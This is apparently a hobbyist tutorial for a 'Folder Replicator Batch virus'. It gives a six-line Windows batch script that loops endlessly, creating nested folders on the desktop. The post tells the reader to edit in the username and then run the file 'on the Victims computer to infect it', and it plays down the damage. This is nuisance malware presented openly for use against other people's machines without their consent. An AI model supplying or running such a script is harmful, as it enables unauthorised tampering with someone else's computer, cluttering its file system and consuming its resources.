Folder Replicator Batch virus

I gonna show you how to make a batch file that creates a folder inside a folder & so on..
I know all of them are interested in making virus so once again i came up with new virus(not a virus but it's a batch file). Here is a Simple batch virus that contains only 6 lines, has the tendency to replicate itself again and again and keeps on creating a folder with same name, until a user stops it.

1. Just open up a notepad, copy and paste the below code
                         cd\
                         cd C:\Documents and Settings\username\Desktop
                         :loop
                         md Virus
                         cd Virus
                         goto loop
2. Save it as folder.bat, before doing that you have to modify the code by changing the place where it says ‘username’ and instead of that replace it by the currently logged in username.
3. Then run it on the Victims computer to infect it.
4. Any how it doesnt cause much harm, but replicates folder inside a folder and goes on.
